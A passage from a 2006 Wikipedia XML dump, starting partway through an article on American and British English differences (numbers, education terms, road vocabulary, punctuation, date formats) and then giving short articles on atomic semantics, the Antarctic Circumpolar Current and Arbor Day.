* ''Fitted'' is used in both conventions as an adjective (&quot;fitted sheets&quot; are the same size as the mattress) and as the past tense of ''fit'' (&quot;to suffer epilepsy&quot;, for example, &quot;Leavitt fitted&quot; in ''[[The Andromeda Strain]]''); however ''fit'' and ''fitting'' do not denote [[epileptic seizure]] in ordinary British use (though that usage is common within medical circles), as the same effect is achieved by ''to have a fit'' or ''to throw a fit''.

===Words with differing meanings===
: ''See: [[List of words having different meanings in British and American English]]''

===Words which have become archaic in one dialect===
* In Southern Britain the word ''whilst'' is used almost interchangeably with ''while'' and ''whilst'' is the more common term. ''Whilst'' is more often used in instruction manuals, legal documents, etc.  To Americans the word ''whilst'', in any context, seems very archaic or pretentious or both.  The words ''amidst'' (as opposed to ''amid''), and to a lesser extent ''amongst'' (as opposed to ''among'') are also rarer in American English. (&quot;In the midst&quot; is a standard idiom in both).

* In the UK generally the term &quot;fall&quot; used in the context of the seasons became obsolete and was replaced by the word &quot;Autumn&quot;. Although archaic, found often in [[Elizabethan]] and [[Charles Dickens|Dickensian]] literature, understanding of the word is usually ascribed to its continued use in America.

*In the UK the term &quot;period&quot; for a &quot;full stop&quot; is now obsolete, even when used as a phrase, such as &quot;Don't do that. Period.&quot; This in itself, though, is likely to be an American import. The phrase &quot;Don't do that. Full stop.&quot; is often preferred to &quot;period&quot;, as shown by the [[NSPCC]] Full Stop campaign.

===Numbers===
:''See also: [[Names of numbers in English]]''

When saying or writing out numbers, the British will insert an &quot;and&quot; before the tens and units, as in &quot;one hundred and sixty-two&quot; and &quot;two thousand and three&quot;, whereas Americans will typically drop the &quot;and&quot; as in &quot;two thousand three&quot;; however, &quot;two thousand and three&quot; is also common. The same rule applies when saying numbers in their thousands or millions: &quot;four hundred and thirteen thousand&quot; would be said by a British speaker, whereas the simpler &quot;four hundred thirteen thousand&quot; by an American speaker.

Some American schools teach that &quot;and&quot; indicates the [[decimal point]]: thus, numbers preceding &quot;and&quot; are [[integers]], while the numbers following &quot;and&quot; are [[fraction|fractional]] (e.g. five hundred thirteen and seven tenths for 513.7). Americans are more likely than the British to read numbers like 1,234 as &quot;twelve thirty-four&quot;, instead of &quot;one thousand, two hundred and thirty-four&quot; unless discussing the year 1234, when &quot;twelve thirty-four&quot; would be the norm on both sides of the Atlantic (note that British speakers do not say &quot;and&quot; before the tens or units when talking about a year, except for years &quot;two thousand and ...&quot;). The year 2000 and beyond are read as &quot;two thousand&quot; rather than &quot;twenty hundred&quot; by both British and American speakers, but years beyond 2100 may be read as &quot;twenty-one hundred&quot; or &quot;two thousand one hundred&quot;. 

Similarly, for the house number (or bus number, etc) &quot;272&quot; British people would tend to say &quot;two seven two&quot; while Americans would tend to say &quot;two seventy-two&quot;. Between 1100 and 1900 the British commonly read numbers ending in round hundreds as, for instance, &quot;sixteen hundred&quot; instead of &quot;one thousand six hundred&quot;, but from 2000 upwards usage like &quot;thirty-two hundred&quot; would be replaced by &quot;three thousand two hundred&quot;.

There was also a historical difference between [[billion]]s, [[trillion]]s, and so forth. Americans use &quot;billion&quot; to mean one thousand million (1,000,000,000), whereas in the UK, until the latter part of the 20th century, it was almost exclusively used to mean one million million (1,000,000,000,000), with one thousand million sometimes described as a &quot;[[milliard]]&quot;, the definition adopted by most other European languages. However, the &quot;American English&quot; version has since been adopted for all published writing, and the word &quot;milliard&quot; is obsolete in English, as are billiard (but not [[billiards]]), trilliard and so on.

Nevertheless, the majority of people have no direct experience with manipulating numbers this large, so a significant proportion of international readers will interpret &quot;billion&quot; as 10&lt;sup&gt;12&lt;/sup&gt;, even if they are young enough to have been taught otherwise at school. For this reason, defining the word may be advisable when writing for the general public. However, all major British publications and broadcasters, including the [[BBC]], which long used &quot;thousand million&quot; to avoid ambiguity, now use &quot;billion&quot; to mean thousand million.

See [[long and short scales]] for a more detailed discussion of the evolution of these terms in English and other languages.

Finally, when referring to the numeral [[0 (number)|0]], British people would use &quot;zero&quot;, &quot;nought&quot;, or &quot;oh&quot; normally, or &quot;nil&quot; in instances such as sports scores and voting results. Americans use the term &quot;zero&quot; most frequently; &quot;oh&quot; is also often used, and occasionally slang terms such as &quot;zilch&quot; or &quot;zip&quot;. Phrases such as &quot;the team won two-zip&quot; or &quot;the team leads the series, two-nothing&quot; are heard when reporting sports scores. The digit 0, for example, when reading a phone or account number aloud, is nearly always pronounced &quot;oh&quot; in both languages for the sake of convenience.

When reading numbers in a sequence, such as a telephone or serial number, British people will use the terms ''double'' or ''triple/treble''. Hence 007 is &quot;double oh seven&quot;.  Exceptions are the emergency telephone number [[9-9-9|999]], which is always &quot;nine nine nine&quot; and the apocalyptic &quot;[[Number of the Beast]]&quot; which is always &quot;six six six&quot;. The [[directory enquiries]] prefix 118 is also &quot;one one eight&quot; due to its extensive advertising campaign with the slogan read out as &quot;One one eight, what's your number?&quot;. In the US, [[9-1-1|911]] (the US emergency telephone number) is almost always read &quot;nine-one-one&quot;, while 9-11 ([[September 11, 2001 attacks|September&amp;nbsp;11, 2001]]) is usually read &quot;nine-eleven&quot;.

===Levels of buildings===
There are also variations in [[floor numbering]] between the U.S. and U.K. &amp;mdash; in most countries, including the UK, the &quot;first floor&quot; is one above the entrance level while the entrance level is the &quot;ground floor&quot;; whereas normal American usage labels the entrance level as the &quot;first floor&quot; and does not use &quot;ground floor.&quot;  Some American buildings have a &quot;ground floor&quot; or another name for the entrance level, usually as part of a plan to cater to [[cosmopolitan]] persons.  (This may also be the case in buildings built on hillsides or uneven ground, where the basement on one side of the structure may be at street level on the other.) Nonetheless, the rest of the floors are numbered in the usual American manner.

===Figures of speech===
Both British English and American English use the expression &quot;I couldn't care less&quot; to mean the speaker does not care at all. In American English, the phrase &quot;I could care less&quot; (without the &quot;n't&quot;) is synonymous with this in casual usage. [[Intonation]] no longer reflects the originally [[sarcasm|sarcastic]] nature of this variant, which is not [[idiom]]atic in British English and might be interpreted as anything from nonsense to an indication that the speaker ''does'' care.

In both areas, saying &quot;I don't mind&quot; often means &quot;I'm not annoyed&quot; (for example, by someone's smoking), while &quot;I don't care&quot; often means &quot;the matter is trivial or boring&quot;.  However, in answering a question like &quot;Tea or coffee?&quot;, if either alternative is equally acceptable, an American may answer &quot;I don't care&quot;, while a British person may answer &quot;I don't mind&quot;.  Either sounds odd to the other.

===Business===
In his history of the Second World War, [[Winston Churchill]] records that differences in the interpretation of the verb &quot;to table&quot; caused an argument between British and American planners. The British wanted a matter ''tabled'' immediately because it was important, and the Americans insisted it should not be tabled at all because it was important. In British English, the term means &quot;to discuss now&quot; (the issue is ''brought to'' the table), whereas in American English it means &quot;to defer&quot; (the issue is ''left on'' the table).

In a similar vein, the verb &quot;to slate&quot; means &quot;to schedule&quot; in the U.S. but (informally) &quot;to disparage&quot; in the UK. Thus a headline such as &quot;Third Harry Potter Film Slated&quot; has two very different interpretations.

One usage of the word &quot;bomb&quot; causes similar confusion: in the U.S. &quot;the show bombed&quot; means it was a total failure; in the UK &quot;the show went down a bomb&quot; means it was a great success.  The American slang phrase &quot;the bomb,&quot; however (perhaps inspired by [[African American Vernacular English]]), almost always indicates positivity.  For example, the phrase, &quot;That show was the bomb,&quot; would mean that the show was outstanding.  In this usage, the article &quot;the&quot; will sometimes be pronounced &quot;da&quot;, and sometimes would be written &quot;That show was da bomb&quot;, indicating a dialect pronunciation of the word &quot;the&quot;.

===Education===
In the UK, a student is said to &quot;read&quot; or to &quot;study&quot; a subject, while in the U.S., a student either &quot;studies&quot; the subject or &quot;majors&quot; in it.  Unlike most of the world where university students pursue a single field of study, United States universities often require a variety of courses.  &quot;To major&quot; refers only to the student's principal course of study, while &quot;to study&quot; may be refer to any class being taken.

British English:

:&quot;She read history at Oxford&quot;.

American English:

:&quot;She majored in history at Yale.&quot;

In the UK, a student &quot;revises&quot; or &quot;does revision&quot; for an examination, while in American English, the student &quot;studies&quot; for it. When &quot;taking&quot; or &quot;writing&quot; the examination, a student in the UK would have that examination supervised by an &quot;invigilator&quot; whereas in American English it would be a &quot;proctor&quot; (or merely &quot;(exam) supervisor&quot;).

In the UK, a student is said to &quot;sit&quot; or &quot;take&quot; an exam, while in the U.S., a student &quot;takes&quot; an exam.  In the UK, a teacher &quot;sets&quot; an exam, while in the U.S., a teacher &quot;writes&quot; or &quot;gives&quot; an exam.  The expression &quot;he sits for&quot; an exam also arises in British English, but only rarely in American English; American lawyers-to-be &quot;sit for&quot; their bar exams, and American master's and doctoral students may &quot;sit for&quot; their comprehensive exams, but in nearly all other instances, Americans &quot;take&quot; their exams.

British English:

:&quot;I sat my Spanish exam yesterday.&quot;
:&quot;I plan to set a difficult exam for my students, but I haven't got it ready yet.&quot;

American English:

:&quot;I took my exams at Yale.&quot;
:&quot;I spent the entire day yesterday writing the exam.  At last, it's ready for my students.&quot;

Another source of confusion is the different usage of the word ''college''.  In the U.S., this refers to a post-high school institution such as a university, whilst in the UK and most Commonwealth countries it refers primarily to a tertiary institution between high school and university (normally referred to as a &quot;Sixth Form College&quot; after the old name in secondary education for Years 12 and 13, the &quot;6th form&quot;) where intermediary courses such as [[A Level]]s or [[NVQ]]s can be taken and [[GCSE]] courses can be retaken, with the interchangeability of college with high school being rare but not unknown.  Americans may be surprised to hear of a 14 year old attending college in the UK, mistakenly assuming it is at the university level. It should be noted however, that in the case of [[University of Oxford|Oxford]] and [[University of Cambridge|Cambridge]] universities, all members are also members of a college. eg one is a member of [[St. Peter's College, Oxford]] and hence the University. 

In both the U.S. and UK, ''college'' can refer to some division within a university such as a &quot;college of mathematics and science&quot;. Institutions in the U.S. that offer two to four years of post-high school education often have the word ''college'' as part of their name, while those offering more advanced degrees are called a ''university''.  American students who pursue a ''bachelor's degree'' (four years of higher education) or an ''associate's degree'' (two years of higher education) are &quot;college students&quot; regardless of whether they attend a college or a university and refer to their educational institutions informally as ''colleges.''  However, a student who pursues a master's degree or a doctorate degree in the arts and sciences is a &quot;graduate student.&quot;  Students of advanced professional programmes are known by their field (business student, law student, journalism student).  

Among high school and college students in the United States, the words ''freshman'' (or the gender neutral term ''frosh''), ''sophomore'', ''junior'' and ''senior'' refer to the first, second, third, and fourth year respectively. It is important that the context of either high school or college first be established, or else it must be stated directly (that is, &quot;She is a high school freshman.&quot;  &quot;He is a college junior.&quot;).  Many institutions in both countries also use the term &quot;first-year&quot; as a gender-neutral replacement for &quot;freshman&quot;.  In the UK, first year university students are often called ''freshers''; however, there are no specific names for those in other years, nor for school pupils.  Graduate and professional students in the United States are known by their year of study (a &quot;second year medical student&quot; or a &quot;fifth year doctoral candidate&quot;).

In the UK, the US equivalent of a ''high school'' is often referred to as a ''secondary school'' regardless of whether it is public or private.  Secondary education in the United States also includes ''middle school'' or ''junior high school'', a two or three year transitional school between elementary school and high school.  A ''public school'' has opposite meanings in the two countries.  In the US this is a government owned institution supported by taxpayers.  In the UK it is an independent institution funded by tuition.  The United States uses several additional terms for specific types of secondary schools.  A ''prep school'' or ''preparatory school'' is an independent school funded by tuition.  A ''parochial school'' covers costs through tuition and has affiliation with a religious institution.  A ''magnet school'' receives government funding and has special admission requirements.  Students gain admission through superior performance on admission tests.

===Transport===
Americans refer to ''transportation,'' while British people refer to ''transport.''  

Differences in terminology are especially obvious in the context of [[road]]s.  The British term ''dual carriageway'', in American parlance, would be a ''divided highway''.  ''Central reservation'' on a ''motorway'' in the UK would be a ''median'' on a ''freeway'' or ''expressway'' in the U.S.  The one-way lanes that make it possible to enter and leave such roads at an intermediate point without disrupting the flow of traffic are generally known as ''slip roads'' in the UK, but U.S. civil engineers call them ''ramps,'' and further distinguish between ''on-ramps'' (for entering) or ''off-ramps'' (for leaving).  When American engineers speak of ''slip roads,'' or ''slip ramps,'' they are referring to on-ramps and off-ramps that have been rearranged (through use of a [[grade separation]]) to minimize weaving on a freeway segment between two interchanges that are too close together.  

In the UK, the term ''outside lane'' refers to the higher-speed passing lane closest to the centre of the road, while ''inside lane'' refers to the lane closer to the edge of the road; these terms have the opposite meanings in American English, with the ''outside lane'' being the one near the edge and the ''inside lane'' being the one closer to the median &amp;mdash; it is worth noting that Americans also drive on the opposite side to British people, so that the British inside lane is, like the American one, the leftmost one (going in any given direction).

In the UK, Australia, and New Zealand ''drink driving'' is against the law, while in the U.S. and Canada, the term is ''drunk driving''.

===Greetings===
In the US, when Christmas is explicitly mentioned in a greeting, the universal phrasing is ''[[Merry Christmas]]''.  A British alternative, ''Happy Christmas'', is unusual in America; while its meaning is obvious, it might still garner the speaker some odd looks.  However, Americans quite often say &quot;Happy Holidays&quot; in referring to the Christmas season.



==Writing==
===Spelling===
:''Main article: [[American and British English spelling differences]]''

Some words shared by all English speakers are ''spelled'' one way by Americans (and at times Canadians and Australians) but are ''spelt'' differently in some (or, at times, most) other English speaking countries.

* Traditionally, many English verbs have been spelled with both ''-ize'' and ''-ise''. The ''-ise'' is often used over ''-ize'' (e.g. organise, legalise) in British English, but ''-ize'' is always used in American English (''advertise'' being a rare exception). The American usage is the result of several reforms spearheaded by [[Noah Webster]] in the [[19th century]], while the British usage (where ''-ize'' was traditionally dominant) comes from 19th-century French influence. Perhaps because of this, ''-ize'' is preferred by Oxford University Press, is listed first in most British Dictionaries, and is preferred by many careful users of English in the UK; see [http://www.askoxford.com/asktheexperts/faq/aboutspelling/ize?view=uk Oxford's rationale] on the matter for more information. The same is true of nouns and adjectives derived from such verbs: ''organisation'' vs. ''organization'', etc. One notable exception is the verb ''to analyse'', which although spelled ''to analyze'' in American English was never spelled that way in British English. Furthermore, not all such words are spelled with ''-ize'' even in American English: for example, ''incise,'' ''circumcise.'' These are not examples of the suffix -ize, but the element -cise, meaning &quot;to cut.&quot;

===Punctuation===
* '''Full stops/Periods in abbreviations''': Americans tend to write &quot;Mr.&quot;, &quot;Mrs.&quot;, &quot;St.&quot;, &quot;Dr.&quot; etc., while British will usually, but not always, write &quot;Mr&amp;quot;, &quot;Mrs&quot;, &quot;St&quot;, &quot;Dr&quot; (or even &quot;D'r&quot;), etc., following the rule that a full stop is used only when the last letter of the abbreviation is not the last letter of the complete word. However, many British writers would tend to write other abbreviations without a full stop, such as &quot;Prof&quot;, &quot;etc&quot;, &quot;eg&quot;, and so on (so recommended by some Oxford dictionaries). The rationale behind this usage is that it is typographically more elegant, and that the omitted full stops/periods are essentially superfluous, as the reader recognizes the abbreviation without them. It also removes ambiguity by reserving the period for ending sentences. However, the &quot;American&quot; usage of periods after most abbreviations is also widely used in the UK. Note that in either case it is incorrect to put a period after units such as kg for kilogram or Hz for hertz, as these are considered unit symbols, not abbreviations; however, the unit for &quot;inch&quot; is properly &quot;in.&quot;, as it would be ambiguous without the period.
* It is sometimes believed that British English does not hyphenate multiple-word adjectives, such as &quot;a first class ticket&quot;. This usage is rare, and often considered incorrect. The most common form is as in American English, such as &quot;a first-class ticket&quot;.
* '''[[Quotation mark|Quoting]]''': Americans start with double quotation marks (&quot;) and use single quotation marks (') for quotations within quotations.  In general this is also true of British English but can be the opposite when used in book publishing, for example. In journals and newspapers, quotation mark double/single use depends on the individual publication's [[house style]].
* '''Contents of quotations''': Americans are taught to put commas and periods inside quotation marks, whereas British people will put the punctuation inside if it belongs to the quote and outside otherwise. This means that direct speech retains punctuation inside inverted commas in British English also, with a full stop changing into a comma if followed by explanatory text.
** Carefree means &quot;free from care or anxiety.&quot; (American style)
** Carefree means &quot;free from care or anxiety&quot;. (British style)
** &quot;Hello world,&quot; I said. (both styles)
: The American style was established for typographical reasons, having to do with the aesthetics of commas and quotation marks in typeset text. It also usefully eliminates the need to decide whether a period or comma belongs to the quotation. However, many people find the usage counterintuitive. ''[[Hart's Rules]]'' and the ''[[Oxford Dictionary for Writers and Editors]]'' call the British style &quot;new&quot; or &quot;logical&quot; quoting; it is similar to the use of quotation marks in many other languages (including Spanish, French, Italian, Catalan, Dutch, and German). This &quot;logical&quot; style is increasingly popular in America, although [[Formal written English - regional differences|formal writing]] generally calls for the &quot;American&quot; style. In fact, the British style is often the ''de facto'' standard among Americans for whom formal or professional writing is not a part of their daily life; many are in fact unaware that the normative American usage is to place commas and periods within the quotation marks. (This rule of placing all punctuation inside quotation if and only if it belongs to the quotation is expressly prescribed by some American professional organisations such as the American Chemical Society; see ''ACS Style Guide''.) According to the [[Jargon File]], American [[Hacker|hackers]]  have switched to using &quot;logical&quot; British quotation system, because including extraneous punctuation in a quotation can sometimes change the fundamental meaning of the quotation. More generally, it is difficult for computer manuals, online instructions, and other textual media to accurately quote exactly what a computer user should see or type on their computer.
:The American rule was used worldwide up to around the Second World War, after which the more logical style of presenting quotation marks took hold everywhere except America.
* '''Letter-writing''': American students in some areas have been taught to write a colon after the greeting in business letters (&quot;Dear Sir:&quot;) while British people usually write a comma (&quot;Dear Sir,&quot;) or make use of the so-called ''open punctuation'' (&quot;Dear Sir&quot;).  However, this practice is not consistent throughout the United States, and it would be regarded as a highly formal usage by most Americans.

===Titles and headlines===
Use of [[capitalisation]] varies.

In American English, a capital letter is typically used after an exclamation point, as in: &quot;Good grief, Jim! Leave the man alone.&quot; In British English the expression could be rendered as 'Good grief, Jim! leave the man alone.' although the American capitalisation is typical.

Sometimes, the words in titles of publications, newspaper headlines, as well as chapter and section headings are capitalised in the same manner as in normal sentences ([[sentence case]]).  That is, only the first word is capitalised, along with [[proper noun]]s, [[acronym]]s, etc.

However, publishers sometimes require additional words in titles and headlines to be capitalised, for added [[emphasis (typography)|emphasis]], as it is often perceived as appearing more professional.  In American English, this is common in titles, but less so in newspaper headlines. The exact rules differ between publishers and are often ambiguous; a typical approach is to capitalise all words other than short [[Article (grammar)|article]]s, [[preposition]]s, and [[conjunction]]s.  This should probably be regarded as a common stylistic difference, rather than a linguistic difference, as neither form would be considered incorrect or unusual in either the UK or the U.S.  Many British newspapers use fully capitalised headlines for impact, as opposed to readability (examples include ''[[The Sun (newspaper)|The Sun]]'', ''[[The Daily Sport]]'', ''[[News of the World]]'').

===Dates===
Date formats are usually written differently in the short (numerical) form. Christmas Day 2000, for example, is 25/12/00 in the UK and 12/25/00 in the U.S., although occasionally other formats are encountered, such as the [[ISO 8601]] 2000-12-25, popular among programmers and others seeking to avoid ambiguity. The difference in short-form date order can lead to misunderstanding. For example, 06/04/05 could mean either [[4 June]] [[2005]] (U.S.) or [[6 April]] [[2005]] (UK).

A consequence of the different short-form of dates is that in the UK many people would be reluctant to refer to &quot;9/11&quot; although its meaning would be instantly understood.  Apart from normally referring to 9th November, dates are not usually abbreviated in this manner in speech in the UK. Londoners would generally refer to the &quot;the seventh of July bombings&quot; and not 7/7.  On the BBC &quot;September the 11th&quot; is generally used in preference to 9/11.

When writing long-form dates, the format &quot;December&amp;nbsp;25, 2000&quot; is generally encountered in the U.S., and widely encountered in the UK. However, the British are more likely than Americans to use the format &quot;25&amp;nbsp;December 2000&quot; although it is acceptable in the U.S., and the American grammarians [[Strunk and White]], among others, recommend it. American military usage follows the British model: &quot;25&amp;nbsp;December 2005&quot; and &quot;25/12/05.&quot;  It is common in the UK, and somewhat less so in the U.S., to add a superscripted 'st, nd, rd' or 'th' to the day number in informal writing (thus &quot;25&lt;sup&gt;th&lt;/sup&gt;&amp;nbsp;December 2000&quot; or &quot;December&amp;nbsp;25&lt;sup&gt;th&lt;/sup&gt;, 2000&quot;), but this is generally regarded as superfluous and avoided in formal use.

Similarly, in American speech, &quot;December twenty-fifth&quot; is the most likely form, though &quot;the twenty-fifth of December&quot; is also not uncommon.  In the UK the latter is more likely, and even when the month is presented first the definite article is usually inserted in speech, thus &quot;December ''the'' twenty-fifth&quot;.

==Keyboards==
:''See: [[British and American keyboards]]''

==See also==
* [[American English]]
* [[British English]]
* [[Commonwealth English]] 
===Other varieties===
* [[Australian English]]
* [[Canadian English]] 
* [[New Zealand English]] 
* [[Hiberno-English]]
* [[Scottish English]]
* [[Caribbean English]]
* [[South African English]]
* [[Jamaican English]] 
* [[Liberian English]]
====English in Asia====
* [[Hong Kong English]] 
* [[Indian English]] 
* [[Malaysian English]] 
* [[Philippine English]]
* [[Singapore English]] 
===Other linguistic topics===
* [[Germanic_languages#Classification|Classification of Germanic Languages]]  
* [[Anglic languages]]
* [[Scots language]]
* [[Yinglish]]
* [[Regional accents of English speakers]]
* [[Wikipedia:Manual_of_Style|Manual of Style]]

==References==
* Peters, Pam (2004). ''The Cambridge Guide to English Usage''. Cambridge: Cambridge University Press. ISBN 052162181X.

==External links==
* [http://www.digitas.harvard.edu/cgi-bin/wiki/ken/BritishVsAmerican Proper Treatment: British vs. American] (Harvard University)
* [http://www.peak.org/~jeremy/dictionary/ The American•British British•American Dictionary]
* [http://english2american.com/ The English-to-American Dictionary]
* [http://www.translatebritish.com British to American Translator]
* [http://www.hps.com/~tpg/ukdict/ United Kingdom English for the American Novice]
* [http://www.askoxford.com/betterwriting/us/?view=uk List of American and British spelling differences]
* [http://www.zmaxmiez-jpn.net/Links_page.html British English vis American English with Portuguese/Japanese translation]
* [http://www.economist.com/research/styleGuide/index.cfm?page=673931 Americanisms] (from [[The Economist]]'s style guide)
* [http://home.comcast.net/~helenajole/Harry.html Differences between British and American editions of a published novel] (example is [[Harry Potter and the Philosopher's Stone]])
* [http://canadianenglish1.narod.ru American Canadian British English lexical differences in one table]
* [http://www.onestopenglish.com/english_grammar/british_american.htm Grammatical differences between American and British English]


[[Category:American and British English differences]]

[[ko:영국과 미국 영어의 차이]]</text>
    </revision>
  </page>
  <page>
    <title>Atomic semantics</title>
    <id>2014</id>
    <revision>
      <id>35164726</id>
      <timestamp>2006-01-14T17:33:07Z</timestamp>
      <contributor>
        <username>TimBentley</username>
        <id>531594</id>
      </contributor>
      <minor />
      <comment>Corrected link to disambiguation page. ([[Wikipedia:Disambiguation_pages_with_links|you can help!]])</comment>
      <text xml:space="preserve">'''Atomic Semantics''' is a term which describes the guarantees provided by a [[data register]] shared by several [[central processing unit|processor]]s in a [[parallel machine]] or in a network of computers working together.

Atomic semantics are defined for a variable with a single writer but multiple readers. These
semantics are very strong: they guarantee that the read and write operations to the variable behave exactly as if they happened instantaneously in some point in time which is within the actual time where the operation took place.

==Reference==

Atomic semantics are defined formally in Lamport's &quot;On Interprocess Communication&quot; Distributed Computing 1, 2 (1986), 77-101. (Also appeared as SRC Research Report 8).

==See also== 
*[[Regular semantics]]
*[[Safe semantics]]

[[Category:Concurrency control]]</text>
    </revision>
  </page>
  <page>
    <title>Antarctic Circumpolar Current</title>
    <id>2015</id>
    <revision>
      <id>37643065</id>
      <timestamp>2006-02-01T07:01:24Z</timestamp>
      <contributor>
        <ip>212.83.86.90</ip>
      </contributor>
      <comment>/* Dynamics of the Antarctic Circumpolar Current */ ncrease -&gt; increase</comment>
      <text xml:space="preserve">The '''Antarctic Circumpolar Current''' (ACC) is an [[ocean current]] that flows from west to east around [[Antarctica]]. An alternate name for the ACC is the West Wind Drift. The ACC is the dominant circulation feature of the [[Southern Ocean]]. The ACC has been known to sailors for many years, the author [[Jack London]]'s story &quot;Make Westing&quot; poignantly illustrated the difficulty it caused for mariners seeking to round [[Cape Horn]] on the clipper ship route between New York and California.

==Structure of the Circumpolar Current==

The ACC connects the [[Atlantic Ocean|Atlantic]], [[Pacific Ocean|Pacific]] and [[Indian Ocean]] basins and as such serves as a principal pathway of exchange between these basins. The current is strongly constrained by [[topography|topographic]] features. Starting at [[South America]], it flows through the [[Drake Passage]] between South America and the [[Antarctic Peninsula]] and then is split by the [[Scotia Arc]] to the east, with a shallow warm branch flowing to the north in the [[Falklands Current]] and a deeper branch passing through the Arc more to the east before also turning to the north. Passing through the Indian Ocean, the current is split by the [[Kerguelen Plateau]] in the Indian Ocean, with most of the transport passing to the north.  South of [[New Zealand]], it follows the contours of the [[Campbell Plateau]] first deflecting far to the south and then moving northward again. Deflection is also seen as it passes over the [[mid-ocean ridge]] in the Southeast Pacific.

The current consists of a number of fronts. The northern boundary of the ACC is defined by the Subtropical Front. This marks the boundary between warm, salty subtropical waters (generally with a [[salinity]] of greater than 34.9 parts per thousand) and fresher, cooler subpolar waters. Moving southward we find the Subantarctic Front, along which much of the ACC transport is carried. Further south still lies the Polar Front, which is marked by a transition to very cold, relatively fresh, Antarctic Surface Water at the surface. Further south still we find Southern Boundary front, which is determined as the point where very dense abyssal waters upwell to within a few hundred meters of the surface. The bulk of the transport is carried in the middle two fronts. The total transport of the ACC at Drake Passage is estimated to be around 135 [[Sverdrup]], or about 135 times the transport of all the world's rivers combined. There is a relatively small addition of flow in the Indian Ocean, with the transport south of [[Tasmania]] reaching around 147 Sv, at which point the current is probably the largest on the planet.

==Dynamics of the Antarctic Circumpolar Current ==

There is general agreement that the large transport of the Circumpolar Current is linked to the strong westerly winds which are found in the Southern Ocean and to the fact that these winds blow over a band of open latitudes. In latitudes where there are continents, winds blowing on light surface water can simply pile up light water against these continents. But in the Southern Ocean, the momentum imparted to the surface waters cannot be balanced in this way.

Different theories of the Circumpolar Current balance the momentum imparted by the winds in different ways. The increasing eastward momentum imparted by the winds causes water parcels to drift outwards from the axis of the earth's rotation (in other words, northward) as a result of the [[Coriolis force]]. This northward transport is balanced by a southward, pressure-driven flow below the depths of the major ridge systems. Some theories connect these flows, implying that there is significant upwelling of dense deep waters within the Southern Ocean, transformation of these waters into light surface waters, and a transformation of waters in the opposite direction to the north. This theory links the magnitude of the Circumpolar Current with the global [[thermohaline circulation]], particularly the properties of the [[North Atlantic]]. A contrary view, however, suggests that eddies, the oceanic equivalent of atmospheric storms, transport momentum downwards in the water column, so that while the deep waters are set into motion, this motion simply involves southward flow in troughs and northward flow over ridges with no transformation into light surface waters required.

Recently much attention has been paid to the fact that the Antarctic Circumpolar Current may vary with time.  One aspect of this variability is the [[Antarctic Circumpolar Wave]], a periodic oscillation that affects the climate of much of the southern hemisphere. Another is the [[Antarctic Oscillation]], which involves changes in the location and strength of Antarctic winds. Trends in the Antarctic Oscillation have been hypothesized to account for an increase in the transport of the Circumpolar Current over the past two decades.

== References ==

Orsi, A.H., T. Whitworth and W.D. Nowling, 1995, On the meridional extent and fronts of the Antarctic Circumpolar Current, Deep Sea Research, Series I, 42, 641-673.


== External links ==

* http://www.literaturecollection.com/a/london/149/
* http://oceanworld.tamu.edu/resources/ocng_textbook/chapter13/chapter13_04.htm

[[Category:Ocean currents]]
[[Category:Geography of Antarctica]]

[[de:Antarktischer Zirkumpolarstrom]]
[[it:Corrente Circumpolare Antartica]]
[[ru:Антарктическое циркумполярное течение]]</text>
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  </page>
  <page>
    <title>Arbor Day</title>
    <id>2017</id>
    <revision>
      <id>41933536</id>
      <timestamp>2006-03-02T18:50:44Z</timestamp>
      <contributor>
        <username>PFHLai</username>
        <id>63672</id>
      </contributor>
      <comment>Arbor Day in China</comment>
      <text xml:space="preserve">'''Arbor Day''' is an [[United States|American]] [[holiday]] that encourages the planting and care of [[tree]]s. In China, it also commemorates the passing of Dr. [[Sun Yat-sen]].

==Observance==
Arbor Day occurs in the [[United States]] every year on the last Friday in April. The customary observance is to plant a tree, but it is not a public holiday and is no longer widely observed in [[United States|America]] (except in [[Nebraska]], where it is a public holiday); in other states, it has been displaced by the emphasis on [[Earth Day]].

Similar holidays exist worldwide, some going by the same name, as in [[Australia]], [[Canada]], [[New Zealand]] and the [[United Kingdom]], and spelt '''Arbour Day'''.

==Quotes==
:''Other holidays repose upon the past; Arbor Day proposes for the future.'' 
:::&amp;mdash; J. Sterling Morton.

:''Each generation takes the Earth as trustees. We ought to bequeath to posterity as many forests and orchards as we have exhausted and consumed.''
:::&amp;mdash; J. Sterling Morton, 1887.

==History==
Arbor Day was established by [[J. Sterling Morton]] of [[Nebraska City, Nebraska]] in [[1872]].

J. Sterling Morton and his wife moved from [[Detroit, Michigan]] to the [[Nebraska Territory]] in [[1854]], where he was the editor of Nebraska's first newspaper. His influence as a journalist led to his involvement in politics, and he became a promoter of the settlement of Nebraska. The lack of trees, however, was an obstacle.

The [[Great Plains]] had been described as the ''&quot;[[Great American Desert]].&quot;'' The [[tallgrass prairie]] that covered much of Nebraska at that time could provide rich farmland, but without wood for building houses or for fuel to heat homes, few found it convenient to settle there. Even the allotment of free land by the [[Homestead Act]] failed to entice sufficient numbers of families to relocate to [[Nebraska]].

[[J. Sterling Morton|Morton]] proposed Arbor Day as a tree planting holiday in 1872 at a meeting of the Nebraska State Board of Agriculture. On the first Arbor Day, prizes were offered to counties and to individuals for properly planting the largest number of trees. It was claimed that more than 1 million trees were planted in Nebraska on that day.

During the course of the 1870s, several other states passed legislation to observe Arbor Day. Schools began to adopt the tradition beginning in 1882. By 1894, Arbor Day was celebrated in each state of the [[United States]].

==Memorial parks==
Morton's home in Nebraska City, [[Arbor Lodge]], is a state historical park, which includes an [[arboretum]] and extensive landscaped grounds. Adjacent to the public park, Morton's farm, now called '''Arbor Day Farm''', is run for the benefit of the '''National Arbor Day Foundation'''. 

==Arbor Day in China==
Arbor Day (植樹節) is a [[Holidays in the Republic of China|public holiday]] in the [[Republic of China]] on [[March 12]]. It commemorates the passing of Dr. [[Sun Yat-sen]], the [[Father of the Nation]], in [[1925]].

== See also ==
* [[Earth Day]]
* [[Oak Apple Day]]
* [[Timeline of environmental events]]

== External links ==
* [http://arbor-day.net/ Arbor-day.net]
* [http://www.arborday.org/arborday/arborDayDatesinternational.cfm International Arbor Days]
* [http://www.arborday.org National Arbor Day Foundation]
* [http://www.arborday.org/arborday/arbordaydates.cfm State Arbor Days and state trees]

[[Category:Holidays of the United States]]
[[Category:Days for environmentalism]]
[[Category:History of Nebraska]]

[[ar:يوم الشجرة]]
[[de:Tag des Baumes]]</text>
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  </page>
  <page>
    <title>Alfred Ayer</title>
    <id>2018</id>
    <revision>
      <id>40611467</id>
      <timestamp>2006-02-21T20:44:10Z</timestamp>
      <contributor>
        <ip>81.131.126.164</ip>
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      <comment>/* Works */</comment>
